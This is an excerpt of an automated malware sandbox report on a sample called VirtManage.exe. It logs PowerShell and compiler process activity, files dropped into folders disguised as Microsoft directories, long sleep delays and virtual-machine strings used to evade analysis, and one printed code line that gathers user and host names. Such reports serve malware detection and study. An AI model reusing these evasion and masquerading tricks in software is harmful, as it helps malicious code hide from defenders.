Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\whoami.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\whoami.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\whoami.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\whoami.exeProcess information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

barindex
.NET source code contains a domain name check
Source: 25.2.powershell.exe.228df7185c8.0.raw.unpack, QXswUGRbaw.cs.Net Code: string.Format("{0} {1}\\{2}", Environment.GetEnvironmentVariable("COMPUTERNAME"), Environment.GetEnvironmentVariable("USERDOMAIN"), Environment.GetEnvironmentVariable("USERNAME"))
Source: 25.2.powershell.exe.228f7660000.1.raw.unpack, QXswUGRbaw.cs.Net Code: string.Format("{0} {1}\\{2}", Environment.GetEnvironmentVariable("COMPUTERNAME"), Environment.GetEnvironmentVariable("USERDOMAIN"), Environment.GetEnvironmentVariable("USERNAME"))
Source: 33.2.powershell.exe.1a789a9f168.0.raw.unpack, wxtjRIBKug.cs.Net Code: string.Format("{0} {1}\\{2}", Environment.GetEnvironmentVariable("COMPUTERNAME"), Environment.GetEnvironmentVariable("USERDOMAIN"), Environment.GetEnvironmentVariable("USERNAME"))
Source: 33.2.powershell.exe.1a7a1640000.1.raw.unpack, wxtjRIBKug.cs.Net Code: string.Format("{0} {1}\\{2}", Environment.GetEnvironmentVariable("COMPUTERNAME"), Environment.GetEnvironmentVariable("USERDOMAIN"), Environment.GetEnvironmentVariable("USERNAME"))
Source: 0dxyzzew.dll.36.dr, QXswUGRbaw.cs.Net Code: string.Format("{0} {1}\\{2}", Environment.GetEnvironmentVariable("COMPUTERNAME"), Environment.GetEnvironmentVariable("USERDOMAIN"), Environment.GetEnvironmentVariable("USERNAME"))
Source: jvshszob.dll.41.dr, wxtjRIBKug.cs.Net Code: string.Format("{0} {1}\\{2}", Environment.GetEnvironmentVariable("COMPUTERNAME"), Environment.GetEnvironmentVariable("USERDOMAIN"), Environment.GetEnvironmentVariable("USERNAME"))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\VirtManage.exeWindow / User API: threadDelayed 1282Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7465
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2126
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5945
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1442
Source: C:\Users\user\Desktop\VirtManage.exeDropped PE file which has not been started: C:\ProgramData\Microsoft\MicrosoftAPI\gpg-agent.exeJump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsm8D5D.tmp\nsExec.dllJump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\jvshszob.dllJump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBD74.tmpJump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBE11.tmpJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsm8D5D.tmp\nsis7z.dllJump to dropped file
Source: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exeDropped PE file which has not been started: C:\ProgramData\Microsoft\MicrosoftAPI\aclui-2.dllJump to dropped file
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeDropped PE file which has not been started: C:\ProgramData\Microsoft\MicrosoftAPI\7za.dllJump to dropped file
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeAPI coverage: 0.4 %
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeAPI coverage: 0.4 %
Source: C:\Users\user\Desktop\VirtManage.exe TID: 7092Thread sleep time: -128200s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2776Thread sleep count: 7465 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2808Thread sleep count: 2126 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5228Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2656Thread sleep count: 5945 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 556Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2656Thread sleep count: 1442 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 556Thread sleep time: -75000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6268Thread sleep time: -75000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6268Thread sleep time: -75000s >= -30000s
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Users\user\Desktop\VirtManage.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_004068D4 FindFirstFileW,FindClose,0_2_004068D4
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405C83
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00402930 FindFirstFileW,0_2_00402930
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004CC650 strpbrk,FindFirstFileW,gcry_free,strlen,gcry_malloc,gcry_free,FindNextFileW,FindClose,gcry_free,FindClose,gcry_free,FindClose,1_2_004CC650
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004CC650 strpbrk,FindFirstFileW,gcry_free,strlen,gcry_malloc,gcry_free,FindNextFileW,FindClose,gcry_free,FindClose,gcry_free,FindClose,3_2_004CC650
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 75000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 75000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\catroot2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\System32\AppxSip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\e9e64b91c0e4559f01e50ac43ffb9a2a\System.DirectoryServices.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SYSTEM32\OpcServices.DLL
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\System32\wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\
Source: powershell.exe, 00000019.00000002.2787411165.00000228E0597000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: tEventVmNetworkAdapter',
Source: powershell.exe, 00000019.00000002.2787411165.00000228E0597000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: 'Remove-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000021.00000002.2786980460.000001A789362000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000019.00000002.2787411165.00000228E0597000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: 'MSFT_NetEventVmNetworkAdatper.cdxml',
Source: powershell.exe, 00000019.00000002.2787411165.00000228E0597000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Get-NetEventVmNetworkAdapterX
Source: gpg.exe, 00000001.00000002.981992125.0000000000A58000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlln
Source: powershell.exe, 00000021.00000002.2786980460.000001A789362000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000019.00000002.2787411165.00000228E0597000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Remove-NetEventVmNetworkAdapterX
Source: VirtManage.exe, 00000000.00000003.1146978669.0000000002972000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}`
Source: powershell.exe, 00000019.00000002.2787411165.00000228E0597000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: +MSFT_NetEventVmNetworkAdatper.format.ps1xmlX
Source: gpg.exe, 00000003.00000002.986825461.0000000000B38000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4
Source: 7za.exe, 00000007.00000003.1022882785.0000020DBFFD0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: 968B3FD3385208B479FE43CC__F5E8C90CE968B3FD3385208B479FE43CVMware.Binding.WsTrust1.0.0.0{4B1FEDDD-E8BD-8A4B-41BF-2D55E4FD9D86}VMWARE~1.DLL|VMware.Binding.WsTrust.dll_FD9BA260F6E682E262FA42F3C05C6925C__FD9BA260F6E682E262FA42F3C05C6925log4net669E0DDF0BB1AA2A2.0.15.0{2FA634FE-D1FF-771A-58EB-507FF9A0FFBB}LOG4NET.DLL|log4net.dllSourceDir[ProgramFilesFolder][Manufacturer]\[ProductName]DIRCA_TARGETDIRTARGETDIR=""{6DD554EC-2D48-B234-25FF-6CF5942A837D}C__70867F2D6BE94247A3BF24C2A1A54D81.:USER'S~1|User's Programs Menu
Source: powershell.exe, 00000019.00000002.2787411165.00000228E0597000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Add-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000019.00000002.2787411165.00000228E0597000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: #MSFT_NetEventVmNetworkAdatper.cdxmlX
Source: powershell.exe, 00000019.00000002.2787411165.00000228E0597000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: 'Add-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000019.00000002.2787411165.00000228E0597000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: 'Get-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000021.00000002.2786980460.000001A789362000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Get-NetEventVmNetworkAdapter
